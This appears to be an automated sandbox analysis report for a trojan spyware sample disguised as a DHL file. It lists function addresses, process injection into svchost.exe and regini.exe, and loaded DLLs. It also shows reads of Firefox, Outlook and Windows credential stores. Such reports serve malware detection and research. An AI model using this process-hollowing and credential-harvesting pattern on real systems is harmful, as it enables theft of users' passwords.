Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A31460	2_2_03A31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF2446	2_2_03AF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5FB80	2_2_03A5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7DBF9	2_2_03A7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF6BD7	2_2_03AF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFB76	2_2_03AFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFAB40	2_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADDAAC	2_2_03ADDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A85AA0	2_2_03A85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEDAC6	2_2_03AEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB3A6C	2_2_03AB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFA49	2_2_03AFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7A46	2_2_03AF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0A9A6	2_2_03B0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A56962	2_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A49950	2_2_03A49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B950	2_2_03A5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A268B8	2_2_03A268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A438E0	2_2_03A438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E8F0	2_2_03A6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAD800	2_2_03AAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A42840	2_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4A840	2_2_03A4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFFB1	2_2_03AFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41F92	2_2_03A41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4CFE0	2_2_03A4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A32FC8	2_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A82F28	2_2_03A82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60F30	2_2_03A60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFF09	2_2_03AFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB4F40	2_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A49EB0	2_2_03A49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52E90	2_2_03A52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFCE93	2_2_03AFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFEEDB	2_2_03AFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFEE26	2_2_03AFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40E59	2_2_03A40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A58DBF	2_2_03A58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3ADE0	2_2_03A3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5FDC0	2_2_03A5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4AD00	2_2_03A4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7D73	2_2_03AF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A43D40	2_2_03A43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF1D5A	2_2_03AF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0CB5	2_2_03AE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30CF2	2_2_03A30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFCF2	2_2_03AFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB9C32	2_2_03AB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40C00	2_2_03A40C00
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030F132D	6_2_030F132D
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0302D34C	6_2_0302D34C
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FA352	6_2_030FA352
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0308739A	6_2_0308739A
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0304E3F0	6_2_0304E3F0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_031003E6	6_2_031003E6
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030E0274	6_2_030E0274
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030452A0	6_2_030452A0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0305B2C0	6_2_0305B2C0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030E12ED	6_2_030E12ED
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03030100	6_2_03030100
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030DA118	6_2_030DA118
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0307516C	6_2_0307516C
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0302F172	6_2_0302F172
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0310B16B	6_2_0310B16B
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0304B1B0	6_2_0304B1B0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_031001AA	6_2_031001AA
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030F81CC	6_2_030F81CC
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030EF0CC	6_2_030EF0CC
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030470C0	6_2_030470C0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030F70E9	6_2_030F70E9
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FF0E0	6_2_030FF0E0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03064750	6_2_03064750
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03040770	6_2_03040770
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FF7B0	6_2_030FF7B0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0303C7C0	6_2_0303C7C0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030F16CC	6_2_030F16CC
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0305C6E0	6_2_0305C6E0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03040535	6_2_03040535
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030F7571	6_2_030F7571
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03100591	6_2_03100591
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030DD5B0	6_2_030DD5B0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FF43F	6_2_030FF43F
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030F2446	6_2_030F2446
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03031460	6_2_03031460
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030EE4F6	6_2_030EE4F6
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FAB40	6_2_030FAB40
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FFB76	6_2_030FFB76
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0305FB80	6_2_0305FB80
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030F6BD7	6_2_030F6BD7
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0307DBF9	6_2_0307DBF9
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FFA49	6_2_030FFA49
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030F7A46	6_2_030F7A46
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030B3A6C	6_2_030B3A6C
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0303EA80	6_2_0303EA80
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030DDAAC	6_2_030DDAAC
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03085AA0	6_2_03085AA0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030EDAC6	6_2_030EDAC6
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03049950	6_2_03049950
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0305B950	6_2_0305B950
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03056962	6_2_03056962
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030429A0	6_2_030429A0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0310A9A6	6_2_0310A9A6
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03042840	6_2_03042840
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0304A840	6_2_0304A840
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030268B8	6_2_030268B8
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030438E0	6_2_030438E0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0306E8F0	6_2_0306E8F0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FFF09	6_2_030FFF09
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03060F30	6_2_03060F30
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030B4F40	6_2_030B4F40
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03041F92	6_2_03041F92
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FFFB1	6_2_030FFFB1
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03032FC8	6_2_03032FC8
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0304CFE0	6_2_0304CFE0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FEE26	6_2_030FEE26
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03040E59	6_2_03040E59
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03052E90	6_2_03052E90
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FCE93	6_2_030FCE93
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03049EB0	6_2_03049EB0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FEEDB	6_2_030FEEDB
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0304AD00	6_2_0304AD00
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03043D40	6_2_03043D40
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030F1D5A	6_2_030F1D5A
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030F7D73	6_2_030F7D73
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03058DBF	6_2_03058DBF
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0305FDC0	6_2_0305FDC0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_0303ADE0	6_2_0303ADE0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03040C00	6_2_03040C00
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030B9C32	6_2_030B9C32
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030E0CB5	6_2_030E0CB5
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_03030CF2	6_2_03030CF2
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030FFCF2	6_2_030FFCF2
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028C1EA0	6_2_028C1EA0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028B1379	6_2_028B1379
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028BB0F4	6_2_028BB0F4
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028BB100	6_2_028BB100
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028C374B	6_2_028C374B
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028C3750	6_2_028C3750
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028C5550	6_2_028C5550
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028BAFB0	6_2_028BAFB0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028BCFB0	6_2_028BCFB0
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028BCD8C	6_2_028BCD8C
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028BCD90	6_2_028BCD90
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028DBD40	6_2_028DBD40
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EEE3A8	6_2_02EEE3A8
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EEE4C5	6_2_02EEE4C5
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EECBB8	6_2_02EECBB8
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EEE85C	6_2_02EEE85C
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_02EED928	6_2_02EED928

Source: C:\Windows\SysWOW64\regini.exe	Code function: String function: 030AEA12 appears 84 times
Source: C:\Windows\SysWOW64\regini.exe	Code function: String function: 0302B970 appears 266 times
Source: C:\Windows\SysWOW64\regini.exe	Code function: String function: 030BF290 appears 105 times
Source: C:\Windows\SysWOW64\regini.exe	Code function: String function: 03075130 appears 36 times
Source: C:\Windows\SysWOW64\regini.exe	Code function: String function: 03087E54 appears 88 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03AAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A2B970 appears 268 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A87E54 appears 89 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03ABF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A75130 appears 36 times

Source: DHL_734825510.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@15/9

Source: C:\Users\user\Desktop\DHL_734825510.exe

File created: C:\Users\user\AppData\Local\Temp\aut5BF.tmp

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\DHL_734825510.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: regini.exe, 00000006.00000002.4815970575.0000000002B34000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000003.2951763766.0000000002AE6000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4815970575.0000000002B07000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4815970575.0000000002B11000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000003.2951888170.0000000002B07000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DHL_734825510.exe

ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Users\user\Desktop\DHL_734825510.exe "C:\Users\user\Desktop\DHL_734825510.exe"
Source: C:\Users\user\Desktop\DHL_734825510.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DHL_734825510.exe"
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	Process created: C:\Windows\SysWOW64\regini.exe "C:\Windows\SysWOW64\regini.exe"
Source: C:\Windows\SysWOW64\regini.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\DHL_734825510.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DHL_734825510.exe"	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	Process created: C:\Windows\SysWOW64\regini.exe "C:\Windows\SysWOW64\regini.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL_734825510.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regini.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\SysWOW64\regini.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\regini.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: RsbLJIqaDYs.exe, 00000005.00000002.4816396248.0000000000CBE000.00000002.00000001.01000000.00000005.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4816788031.0000000000CBE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000002.00000003.2560509259.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2655884928.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558405419.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2655884928.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, regini.exe, 00000006.00000003.2668011132.0000000002E5A000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000003.2665704256.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4817730430.0000000003000000.00000040.00001000.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4817730430.000000000319E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, svchost.exe, 00000002.00000003.2560509259.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2655884928.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558405419.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2655884928.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, regini.exe, regini.exe, 00000006.00000003.2668011132.0000000002E5A000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000003.2665704256.0000000002CA5000.00000004.00000020.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4817730430.0000000003000000.00000040.00001000.00020000.00000000.sdmp, regini.exe, 00000006.00000002.4817730430.000000000319E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: regini.pdbGCTL source: svchost.exe, 00000002.00000003.2623797499.0000000003424000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2623732089.000000000341B000.00000004.00000020.00020000.00000000.sdmp, RsbLJIqaDYs.exe, 00000005.00000002.4816604781.0000000000F28000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: regini.exe, 00000006.00000002.4819056247.000000000362C000.00000004.10000000.00040000.00000000.sdmp, regini.exe, 00000006.00000002.4815970575.0000000002A7E000.00000004.00000020.00020000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.0000000002D0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.3062068304.00000000182BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: regini.exe, 00000006.00000002.4819056247.000000000362C000.00000004.10000000.00040000.00000000.sdmp, regini.exe, 00000006.00000002.4815970575.0000000002A7E000.00000004.00000020.00020000.00000000.sdmp, RsbLJIqaDYs.exe, 00000007.00000002.4817531930.0000000002D0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000009.00000002.3062068304.00000000182BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: regini.pdb source: svchost.exe, 00000002.00000003.2623797499.0000000003424000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2623732089.000000000341B000.00000004.00000020.00020000.00000000.sdmp, RsbLJIqaDYs.exe, 00000005.00000002.4816604781.0000000000F28000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00414774 push esp; retf 1CE7h	2_2_0041478E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402029 push FFFFFFFBh; retf	2_2_00402032
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A991 push ebp; iretd	2_2_0041A992
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403230 push eax; ret	2_2_00403232
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00411AD3 push edi; retf	2_2_00411AD4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004182B7 pushad ; iretd	2_2_004182B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D346 push ds; iretd	2_2_0040D347
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00412468 pushad ; iretd	2_2_0041247F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418CCC push esp; retn 55EDh	2_2_00418CD1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00412484 push 0000003Bh; retf	2_2_00412486
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040855D push es; ret	2_2_00408560
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418D33 pushad ; retf	2_2_00418D85
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00417F3C push edi; ret	2_2_00417F57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00404FF0 push esi; ret	2_2_00404FF1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A309AD push ecx; mov dword ptr [esp], ecx	2_2_03A309B6
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_030309AD push ecx; mov dword ptr [esp], ecx	6_2_030309B6
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028BF235 pushad ; iretd	6_2_028BF24C
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028BF251 push 0000003Bh; retf	6_2_028BF253
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028B532A push es; ret	6_2_028B532D
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028C5084 pushad ; iretd	6_2_028C5085
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028C775E push ebp; iretd	6_2_028C775F
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028BE8A0 push edi; retf	6_2_028BE8A1
Source: C:\Windows\SysWOW64\regini.exe	Code function: 6_2_028B1DBD push esi; ret	6_2_028B1DBE
